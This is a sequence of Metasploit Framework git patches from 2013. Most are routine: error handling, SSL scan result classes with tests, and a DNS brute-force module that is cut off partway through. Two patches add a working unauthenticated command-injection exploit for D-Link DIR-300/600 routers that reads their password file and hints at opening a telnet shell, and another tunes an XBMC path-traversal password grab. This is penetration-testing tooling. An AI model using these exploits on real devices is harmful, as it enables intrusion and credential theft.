modules/post/windows/gather/screen_spy.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 6d8a9f07cb..126bb04892 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -87,7 +87,12 @@ class Metasploit3 < Msf::Post file_locations = [] count.times do |num| select(nil, nil, nil, datastore['DELAY']) - data = session.espia.espia_image_get_dev_screen + begin + data = session.espia.espia_image_get_dev_screen + rescue RequestError => e + print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}") + return false + end if data if datastore['RECORD'] # let's loot it using non-clobbering filename, even tho this is the source filename, not dest @@ -104,8 +109,8 @@ class Metasploit3 < Msf::Post end system(cmd) if cmd end - rescue ::Exception => e - print_error("Error taking or storing screenshot: #{e.class} #{e} #{e.backtrace}") + rescue IOError => e + print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") return end print_status("Screen Spying Complete") From 345c5f32cc3c566b3eb3342b3b874365c435ece6 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 15:40:02 -0600 Subject: [PATCH 036/341] keep it from migrating more than once into explorer.exe thanks for noticing egypt we should add a migrate_explorer to the post api --- modules/post/windows/gather/screen_spy.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 126bb04892..7e03e2440e 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -137,9 +137,10 @@ class Metasploit3 < Msf::Post begin session.core.migrate(p['pid'].to_i) print_status("Migration successful") + return p['pid'] rescue print_status("Migration failed.") - return + return nil end end end From 7faaa635d380e6e510729ade4eb0a3d0aa0b35b5 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Sun, 3 Feb 2013 18:46:41 -0600 Subject: [PATCH 037/341] Fixed exception handling to use smb::proto --- lib/msf/core/exploit/psexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index b4292004da..f63a93f8e1 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -180,7 +180,7 @@ module Exploit::Remote::Psexec file_rm(file) print_good("#{peer} - Deleted #{file}") end - rescue ::Exception => cleanup_error + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanup_error print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") end end From 5ca0e4538802730c5674f58e329a0a7398f627b4 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 4 Feb 2013 08:44:12 +0100 Subject: [PATCH 038/341] initial commit --- .../http/dlink_dir_300_600_exec_noauth.rb | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb new file mode 100644 index 0000000000..9b24a0fa80 --- /dev/null +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -0,0 +1,73 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php', + 'Description' => %q{ + Some D-Link Routers are vulnerable to OS Command injection. + You do not need credentials to the webinterface because the command.php + is accesseble without authentication. You could read the plaintext password + file. + Hint: To get a remote shell you could start the telnetd without any authentication. + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ], + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 04 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('CMD', [ true, 'The command to execute', 'cat /var/passwd']) + ], self.class) + end + + def run + uri = '/command.php' + + print_status("Sending remote command: " + datastore['CMD']) + + data_cmd = "cmd=#{datastore['CMD']}; echo end" + + begin + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'data' => data_cmd, + }) + return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return :abort if (res.code == 404) + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort + end + + if res.body.include? "end" + print_status("Exploited successfully") + print_line("Command: #{datastore['CMD']}") + print_line("Output: #{res.body}") + else + print_status("Exploit failed.") + end + end +end From 43f3bb4fe602755a8b997126428d591fecf82b1a Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 5 Feb 2013 13:54:10 +0100 Subject: [PATCH 039/341] small updates --- .../http/dlink_dir_300_600_exec_noauth.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index 9b24a0fa80..feea8e0d3e 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -13,12 +13,13 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php', + 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', 'Description' => %q{ - Some D-Link Routers are vulnerable to OS Command injection. + Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are + vulnerable to OS Command injection. You do not need credentials to the webinterface because the command.php is accesseble without authentication. You could read the plaintext password - file. + file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. Hint: To get a remote shell you could start the telnetd without any authentication. }, 'Author' => [ 'm-1-k-3' ], @@ -35,14 +36,14 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('CMD', [ true, 'The command to execute', 'cat /var/passwd']) + OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) ], self.class) end def run uri = '/command.php' - print_status("Sending remote command: " + datastore['CMD']) + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) data_cmd = "cmd=#{datastore['CMD']}; echo end" @@ -63,11 +64,11 @@ class Metasploit3 < Msf::Auxiliary end if res.body.include? "end" - print_status("Exploited successfully") - print_line("Command: #{datastore['CMD']}") - print_line("Output: #{res.body}") + print_status("#{rhost}:#{rport} - Exploited successfully\n") + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") + print_line("#{rhost}:#{rport} - Output: #{res.body}") else - print_status("Exploit failed.") + print_status("#{rhost}:#{rport} - Exploit failed.") end end end From 2cdeca54225b092ee508bf9043b6fec2dcbb69d5 Mon Sep 17 00:00:00 2001 From: Matt Andreko Date: Tue, 5 Feb 2013 14:32:50 -0500 Subject: [PATCH 040/341] Added reference & depth Added reference to IOActive's release. Added a depth option to allow user to specify how many folders to traverse. --- modules/auxiliary/scanner/http/xbmc_traversal.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/xbmc_traversal.rb b/modules/auxiliary/scanner/http/xbmc_traversal.rb index 2828421109..2f43b36077 100644 --- a/modules/auxiliary/scanner/http/xbmc_traversal.rb +++ b/modules/auxiliary/scanner/http/xbmc_traversal.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'], ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'], + ['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'], ], 'DisclosureDate' => "Nov 4 2012" )) @@ -39,6 +40,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 9]), OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']), OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']), ], self.class) @@ -54,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary end # Create request - traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep + traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", From ebd03ccceb6edd9420e5904ac75ee355ce0f4283 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 6 Feb 2013 16:57:47 -0600 Subject: [PATCH 041/341] Allow user to set ssl cipher Rex::Socket::Tcp now allows the user to specify a cipher or ciphers to try and use for the ssl connection in addition to the version. --- lib/rex/socket/parameters.rb | 9 +++++++++ lib/rex/socket/ssl_tcp.rb | 4 +++- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 35c1288739..210488ae94 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -144,6 +144,10 @@ class Rex::Socket::Parameters self.ssl_version = hash['SSLVersion'] end + if (hash['SSLCipher']) + self.ssl_cipher = hash['SSLCipher'] + end + if (hash['SSLCert'] and ::File.file?(hash['SSLCert'])) begin self.ssl_cert = ::File.read(hash['SSLCert']) @@ -338,6 +342,11 @@ class Rex::Socket::Parameters # attr_accessor :ssl_version # + # What specific SSL Cipher(s) to use, may be a string containing the cipher name + # or an array of strings containing cipher names e.g. ["DHE-RSA-AES256-SHA", "DHE-DSS-AES256-SHA"] + # + attr_accessor :ssl_cipher + # # The SSL certificate, in pem format, stored as a string. See +SslTcpServer#make_ssl+ # attr_accessor :ssl_cert diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index 2620808c41..b8a994034b 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- require 'rex/socket' - ### # # This class provides methods for interacting with an SSL TCP client @@ -81,6 +80,9 @@ begin # VERIFY_PEER self.sslctx.verify_mode = OpenSSL::SSL::VERIFY_PEER self.sslctx.options = OpenSSL::SSL::OP_ALL + if params.ssl_cipher + self.sslctx.ciphers = params.ssl_cipher + end # Set the verification callback self.sslctx.verify_callback = Proc.new do |valid, store| From 7036365e040d1d7eee5b2fae04942f41c41d45d8 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Feb 2013 12:42:18 -0600 Subject: [PATCH 042/341] Start adding sslscan results object Building out the result object for the SSlScan --- lib/rex/sslscan/result.rb | 37 ++++++++++++++++++ spec/lib/rex/sslscan/result_spec.rb | 60 +++++++++++++++++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 lib/rex/sslscan/result.rb create mode 100644 spec/lib/rex/sslscan/result_spec.rb diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb new file mode 100644 index 0000000000..bc9619f235 --- /dev/null +++ b/lib/rex/sslscan/result.rb @@ -0,0 +1,37 @@ + +require 'rex/socket' + +module Rex::SSLScan +class Result + + attr_accessor :sslv2 + attr_accessor :sslv3 + attr_accessor :tlsv1 + + attr_reader :supported_versions + + def initialize() + @cert = nil + @sslv2 = {} + @sslv3 = {} + @tlsv1 = {} + @supported_versions = [:sslv2, :sslv3, :tlsv1] + end + + def cert + @cert + end + + def cert=(input) + unless input.kind_of? OpenSSL::X509::Certificate or input.nil? + raise ArgumentError, "Must be an X509 Cert!" + end + @cert = input + end + + def add_cipher(version, cipher, key_length, status) + + end + +end +end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb new file mode 100644 index 0000000000..75cecc872d --- /dev/null +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -0,0 +1,60 @@ +require 'rex/sslscan/result' + +describe Rex::SSLScan::Result do + + subject{Rex::SSLScan::Result.new} + + it "should respond to cert" do + subject.should respond_to :cert + end + + it "should respond to sslv2" do + subject.should respond_to :sslv2 + end + + it "should respond to sslv3" do + subject.should respond_to :sslv3 + end + + it "should respond to tlsv1" do + subject.should respond_to :tlsv1 + end + + context "with no values set" do + it "should return nil for the cert" do + subject.cert.should == nil + end + + it "should return an empty hash for sslv2" do + subject.sslv2.should == {} + end + + it "should return an empty hash for sslv3" do + subject.sslv3.should == {} + end + + it "should return an empty hash for tlsv1" do + subject.tlsv1.should == {} + end + end + + context "setting the cert" do + it "should accept nil" do + subject.cert = nil + subject.cert.should == nil + end + + it "should accept an X509 cert" do + cert = OpenSSL::X509::Certificate.new + subject.cert = cert + subject.cert.should == cert + end + + it "should raise an exception for anything else" do + expect{subject.cert = "foo"}.to raise_error + end + end + + + +end \ No newline at end of file From 10e017ae73b522bba44d56bed2b5b5a43d681ef6 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Feb 2013 14:56:26 -0600 Subject: [PATCH 043/341] finish up the SSLScan::Result class finishes up result class for SSLScan , compelte with tests --- lib/rex/sslscan/result.rb | 54 ++++++++++-- spec/lib/rex/sslscan/result_spec.rb | 125 +++++++++++++++++++++++----- 2 files changed, 149 insertions(+), 30 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index bc9619f235..794ffe1de3 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -4,18 +4,17 @@ require 'rex/socket' module Rex::SSLScan class Result - attr_accessor :sslv2 - attr_accessor :sslv3 - attr_accessor :tlsv1 - + attr_reader :sslv2 + attr_reader :sslv3 + attr_reader :tlsv1 attr_reader :supported_versions def initialize() @cert = nil - @sslv2 = {} - @sslv3 = {} - @tlsv1 = {} - @supported_versions = [:sslv2, :sslv3, :tlsv1] + @sslv2 = {:accepted => [], :rejected => []} + @sslv3 = {:accepted => [], :rejected => []} + @tlsv1 = {:accepted => [], :rejected => []} + @supported_versions = [:SSLv2, :SSLv3, :TLSv1] end def cert @@ -30,7 +29,44 @@ class Result end def add_cipher(version, cipher, key_length, status) - + unless @supported_versions.include? version + raise ArgumentError, "Must be a supported SSL Version" + end + unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include? cipher + raise ArgumentError, "Must be a valid SSL Cipher for #{version}!" + end + unless key_length.kind_of? Fixnum + raise ArgumentError, "Must supply a valid key length" + end + unless [:accepted, :rejected].include? status + raise ArgumentError, "status Must be either :accepted or :rejected" + end + + cipher_details = {:cipher => cipher, :key_length => key_length} + case version + when :SSLv2 + @sslv2[status] << cipher_details + when :SSLv3 + @sslv3[status] << cipher_details + when :TLSv1 + @tlsv1[status] << cipher_details + end + end + + def accepted + { + :SSLv2 => @sslv2[:accepted], + :SSLv3 => @sslv3[:accepted], + :TLSv1 => @tlsv1[:accepted] + } + end + + def rejected + { + :SSLv2 => @sslv2[:rejected], + :SSLv3 => @sslv3[:rejected], + :TLSv1 => @tlsv1[:rejected] + } end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 75cecc872d..0dc8030018 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -4,37 +4,34 @@ describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} - it "should respond to cert" do - subject.should respond_to :cert - end - - it "should respond to sslv2" do - subject.should respond_to :sslv2 - end - - it "should respond to sslv3" do - subject.should respond_to :sslv3 - end - - it "should respond to tlsv1" do - subject.should respond_to :tlsv1 - end + it { should respond_to :cert } + it { should respond_to :sslv2 } + it { should respond_to :sslv3 } + it { should respond_to :tlsv1 } context "with no values set" do it "should return nil for the cert" do subject.cert.should == nil end - it "should return an empty hash for sslv2" do - subject.sslv2.should == {} + it "should return an empty structure for sslv2" do + subject.sslv2.should == {:accepted => [], :rejected => []} end - it "should return an empty hash for sslv3" do - subject.sslv3.should == {} + it "should return an empty structure for sslv3" do + subject.sslv3.should == {:accepted => [], :rejected => []} end - it "should return an empty hash for tlsv1" do - subject.tlsv1.should == {} + it "should return an empty structure for tlsv1" do + subject.tlsv1.should == {:accepted => [], :rejected => []} + end + + it "should return an empty structure for #accepted" do + subject.accepted.should == {:SSLv2=>[], :SSLv3=>[], :TLSv1=>[]} + end + + it "should return an emtpy structure for #rejected" do + subject.rejected.should == {:SSLv2=>[], :SSLv3=>[], :TLSv1=>[]} end end @@ -55,6 +52,92 @@ describe Rex::SSLScan::Result do end end + context "adding a cipher result" do + context "should raise an exception if" do + it "given an invalid SSL version" do + expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given SSL version as a string" do + expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error + end + it "given an invalid SSL cipher" do + expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error + end + + it "given an unsupported cipher for the version" do + expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error + end + + it "given a non-number for key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error + end + + it "given a decimal key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error + end + + it "given an invalid status" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error + end + + it "given status as a string" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error + end + end + context "that was accepted" do + it "should add an SSLv2 cipher result to the SSLv2 Accepted array" do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.sslv2[:accepted].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) + subject.accepted[:SSLv2].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) + end + + it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.sslv3[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.accepted[:SSLv3].should include({:cipher=>"AES256-SHA", :key_length=>256}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.tlsv1[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.accepted[:TLSv1].should include({:cipher=>"AES256-SHA", :key_length=>256}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.sslv3[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.sslv3[:accepted].should include({:cipher=>"AES128-SHA", :key_length=>128}) + end + end + context "that was rejected" do + it "should add an SSLv2 cipher result to the SSLv2 Rejected array" do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) + subject.sslv2[:rejected].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) + subject.rejected[:SSLv2].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) + end + + it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.sslv3[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.rejected[:SSLv3].should include({:cipher=>"AES256-SHA", :key_length=>256}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.tlsv1[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.rejected[:TLSv1].should include({:cipher=>"AES256-SHA", :key_length=>256}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.sslv3[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.sslv3[:rejected].should include({:cipher=>"AES128-SHA", :key_length=>128}) + end + end + end end \ No newline at end of file From 4e87bf4ab37b2254484354d2849cc4d3fc6e72ab Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Feb 2013 15:51:07 -0600 Subject: [PATCH 044/341] Add enumeration and support options i lied, there's more. Adds two enumerators and methods to check for specific ssl version support as well as a quick method to tell if the server supports ssl at all. --- lib/rex/sslscan/result.rb | 43 +++++++++++++++ spec/lib/rex/sslscan/result_spec.rb | 85 +++++++++++++++++++++++++++++ 2 files changed, 128 insertions(+) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 794ffe1de3..fc496ca309 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -69,5 +69,48 @@ class Result } end + def each_accepted + all_accepted = [] + + accepted.each_pair do |version, cipher_list| + cipher_list.each do |cipher_details| + cipher_details[:version] = version + all_accepted << cipher_details + end + end + all_accepted.each do |cipher_result| + yield cipher_result + end + end + + def each_rejected + all_rejected = [] + + rejected.each_pair do |version, cipher_list| + cipher_list.each do |cipher_details| + cipher_details[:version] = version + all_rejected << cipher_details + end + end + all_rejected.each do |cipher_result| + yield cipher_result + end + end + + def supports_sslv2? + !(accepted[:SSLv2].empty?) + end + + def supports_sslv3? + !(accepted[:SSLv3].empty?) + end + + def supports_tlsv1? + !(accepted[:TLSv1].empty?) + end + + def supports_ssl? + supports_sslv2? or supports_sslv3? or supports_tlsv1? + end end end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 0dc8030018..5540b77efb 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -140,4 +140,89 @@ describe Rex::SSLScan::Result do end end + context "enumerating all accepted ciphers" do + before(:each) do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + + it "should return an array of cipher detail hashes" do + subject.each_accepted do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length) + end + end + + it "should return all of the accepted cipher details" do + count = 0 + subject.each_accepted do |cipher_details| + count = count+1 + end + count.should == 4 + end + end + + context "enumerating all rejected ciphers" do + before(:each) do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + end + + it "should return an array of cipher detail hashes" do + subject.each_rejected do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length) + end + end + + it "should return all of the rejected cipher details" do + count = 0 + subject.each_rejected do |cipher_details| + count = count+1 + end + count.should == 4 + end + end + + context "checking SSL support" do + context "for SSLv2" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv2?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.supports_sslv2?.should == true + end + end + context "for SSLv3" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv3?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.supports_sslv3?.should == true + end + end + context "for TLSv1" do + it "should return false if there are no accepted ciphers" do + subject.supports_tlsv1?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_tlsv1?.should == true + end + end + context "for SSL at large" do + it "should return false if there are no accepted ciphers" do + subject.supports_ssl?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_ssl?.should == true + end + end + end + end \ No newline at end of file From 096360261efc29e8aa994b2d3c1e78f3d1a35dd7 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Feb 2013 16:09:47 -0600 Subject: [PATCH 045/341] De-dup cipher results --- lib/rex/sslscan/result.rb | 3 +++ spec/lib/rex/sslscan/result_spec.rb | 12 ++++++++++++ 2 files changed, 15 insertions(+) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index fc496ca309..fbd6aa59dc 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -46,10 +46,13 @@ class Result case version when :SSLv2 @sslv2[status] << cipher_details + @sslv2[status].uniq! when :SSLv3 @sslv3[status] << cipher_details + @sslv3[status].uniq! when :TLSv1 @tlsv1[status] << cipher_details + @tlsv1[status].uniq! end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 5540b77efb..8ee1a6118f 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -111,6 +111,12 @@ describe Rex::SSLScan::Result do subject.sslv3[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) subject.sslv3[:accepted].should include({:cipher=>"AES128-SHA", :key_length=>128}) end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.sslv3[:accepted].count.should == 1 + end end context "that was rejected" do it "should add an SSLv2 cipher result to the SSLv2 Rejected array" do @@ -137,6 +143,12 @@ describe Rex::SSLScan::Result do subject.sslv3[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) subject.sslv3[:rejected].should include({:cipher=>"AES128-SHA", :key_length=>128}) end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.sslv3[:rejected].count.should == 1 + end end end From 5c9f94692790a2553c914a410c4e5940f9591d93 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Feb 2013 16:16:41 -0600 Subject: [PATCH 046/341] empty shells for the scanner and its specs --- lib/rex/sslscan/scanner.rb | 6 ++++++ spec/lib/rex/sslscan/scanner_spec.rb | 5 +++++ 2 files changed, 11 insertions(+) create mode 100644 lib/rex/sslscan/scanner.rb create mode 100644 spec/lib/rex/sslscan/scanner_spec.rb diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb new file mode 100644 index 0000000000..a1804a7079 --- /dev/null +++ b/lib/rex/sslscan/scanner.rb @@ -0,0 +1,6 @@ + +module Rex::SSLScan +class Scanner + +end +end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb new file mode 100644 index 0000000000..278fc547fd --- /dev/null +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -0,0 +1,5 @@ +require 'rex/sslscan/scanner' + +describe Rex::SSLScan::Scanner do + +end \ No newline at end of file From 2186db529573bbf05e2bb5ed61cd2fa9e4a385b0 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 09:48:32 -0400 Subject: [PATCH 047/341] Split of DNS Name Brutforce from enum_dns --- modules/auxiliary/gather/dns_bruteforce.rb | 137 +++++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 modules/auxiliary/gather/dns_bruteforce.rb diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb new file mode 100644 index 0000000000..a6e72080a6 --- /dev/null +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -0,0 +1,137 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Host and Subdomain Brutefoce Module', + 'Description' => %q{ + This module uses a dictionary to perform a bruteforce on Hostnames and Subdomains + available under a given domain. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptPath.new('WORDLIST', [ false, "Wordlist file for domain name brute force.", + File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', 